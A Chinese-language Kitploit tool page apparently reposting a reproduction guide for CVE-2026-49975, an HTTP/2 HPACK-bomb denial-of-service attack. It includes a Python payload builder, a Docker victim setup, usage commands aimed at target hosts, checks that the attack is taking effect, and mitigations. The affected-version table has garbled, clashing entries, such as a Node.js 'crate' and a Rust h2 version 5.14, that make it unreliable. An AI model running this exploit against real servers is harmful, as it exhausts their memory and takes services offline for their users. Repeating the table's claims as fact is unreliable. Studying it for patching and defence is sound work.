Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-49975-http2bomb_reproduction — 针对CVE-2026-49975 HTTP/2 Bomb拒绝服务漏洞的PoC利用程序。演示了HPACK索引引用炸弹结合流控窗口阻塞,通过单一连接耗尽服务器内存。 | Kitploit
工具/GitHubGitHub/razureink/cve-2026-49975-http2bomb_reproduction
漏洞分析漏洞利用Web安全网络安全论文与研究学习与教育
GitHubrazureink/cve-2026-49975-http2bomb_reproduction

cve-2026-49975-http2bomb_reproduction

针对CVE-2026-49975 HTTP/2 Bomb拒绝服务漏洞的PoC利用程序。演示了HPACK索引引用炸弹结合流控窗口阻塞,通过单一连接耗尽服务器内存。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
11343个月前尚未审核
分享

CVE-2026-49975(HTTP/2 Bomb)完整复现指南

基于奇安信 CERT 公告 + Calif 原创研究

================================================================

一、漏洞概述

CVE-2026-49975 是 HTTP/2 服务器与代理实现中的一个严重拒绝服务(DoS)漏洞。该攻击被称为“HTTP/2 Bomb”或“HPACK Bomb”,利用 HTTP/2 协议中的两个设计层面行为,迫使目标陷入无限制的内存消耗(OOM)和 CPU 耗尽:

  1. HPACK 索引引用膨胀 —— 一个很小的 HEADERS 帧通过 HPACK 索引引用,在逻辑上数千次引用同一个 cookie 条目。解码时,对端的 HPACK 解码器可能分配与引用次数成正比的内存,而非与线上大小成正比。
  2. 流控窗口停滞 —— 结合初始窗口为零,发送方排队 HEADERS 数据,但接收方在窗口更新到达前拒绝读取;缓冲区被填满,内存压力持续增长。

CVSS 3.1 基础评分:9.8(严重) 向量:AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

二、攻击原理(两阶段组合)

当两个阶段相互配合时,攻击效果最佳,但针对某些实现,单独任一阶段也足以奏效。

阶段 1:HPACK 索引引用炸弹

HTTP/2 的 HPACK 头部压缩使用一个不断演进的动态表。一旦一个较大的 cookie 头部被插入表中(通过 Literal+Incremental Encoding),攻击者即可用一个 1 字节的操作码引用该条目。重复引用会导致解码器一遍又一遍地重建同一个头部。

Wire:  [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
    ↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.

一个 5 KB 的数据包可以扩展为数百兆字节的解码后载荷。

阶段 2:HTTP/2 窗口停滞

带有 INITIAL_WINDOW_SIZE=0 的 SETTINGS 会迫使受害方将所有 HEADERS/continuation 数据排队。攻击者缓慢地滴出 WINDOW_UPDATE 帧。缓冲区在组合层面保持满载。

机制放大系数
原始 HEADERS 主体1x
HPACK 引用膨胀20–80x
+ 并发流100–500x
+ 窗口停滞1000x+

III. 受影响的服务器

厂商 / 项目版本描述
Apache mod_http2< 2.0.13索引引用膨胀导致 OOM
nghttp2< 1.62.0无限制的内存膨胀
h2o< 4.0.2解码器中的无限循环
Node.js http2 crate< 1.12.0nghttp2-rs 中的固有扩展
Go net/http (h2)< 1.24goroutine 挂起 + OSL 分配
Apache Traffic Server< 9.3.0通过内部缓冲区导致 OOM
HAProxy h2< 2.9超大 AVP 导致崩溃
Envoy< 1.30流控中的大规模分配
Rust hyper/h2 crate< 5.14溢出 SK 时 panic

请查阅您厂商的 CVE 条目以获取确切边界。

IV. 环境搭建

# Python 3.8+ with ssl support
python --version

# SSL Certificate optional; PoC sets CERT_NONE

Docker 快速受害者环境:

docker run -d --name h2-victim -p 4433:443 \
    nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null

V. 漏洞利用代码

配套脚本为 exploit.py。

核心例程:

def build_hpack_bomb(num_headers: int = 20000) -> bytes:
    cookie_name = b"cookie"
    cookie_value = "a=" + "y" * 128
    data = bytearray()
    # Step 1: insert cookie into dynamic table
    data.append(0x40)  # Literal+incremental
    data.extend(encode_hpack_int(len(cookie_name), 7))
    data.extend(cookie_name)
    data.extend(encode_hpack_int(len(cookie_value), 7))
    data.extend(cookie_value.encode())
    # Step 2: spam Indexed refs (index 63)
    for _ in range(num_headers):
        data.append(0x80)
        data.extend(encode_hpack_int(63, 7))
    return bytes(data)

脚本执行以下操作:

  • 与 host:port 建立 TLS 连接
  • 发送 HTTP/2 PRI 前言 + 窗口为 0 的 SETTINGS
  • 将 HPACK 炸弹作为 HEADERS 发送
  • 可选地发送缓慢的 WINDOW_UPDATE 涓流
  • 通过 PING 帧测量 RTT 退化

VI. 用法

# Basic run (default 10000 refs)
python exploit.py 192.168.1.100

# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000

# Disable window stall
python exploit.py endpoint.com --no-stall

# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60

# Verbose
python exploit.py 10.0.0.5 -v

VII. 验证攻击效果

监控受害主机资源:

watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>

攻击正在生效的迹象:

  • 受害者的 RSS 增长超过 500 MB
  • CPU 占用率飙升至 100%
  • PING 延迟超过 1 秒
  • 连接超时

VIII. 缓解措施

方法设置
限制每个流的头部数量MaxHeaderCount 500
拒绝低压缩比比率阈值 < 5
限制 HPACK 增长将动态表限制为 1 KB
每连接内存超过 N MB 后拒绝
速率限制通用 conn/s、req/s

IX. 免责声明

此信息仅供教育和授权的安全测试使用。仅可对您拥有或已获得书面许可进行测试的系统运行。

参考资料

  • CVE-2026-49975 Mitre
  • 奇安信 CERT 公告(原始中文 / 英文公告)
  • Calif, A. The HTTP/2 Bomb: HPAK indexed OOM. Black Hat 2025
  • RFC 7541, RFC 9113
下载工具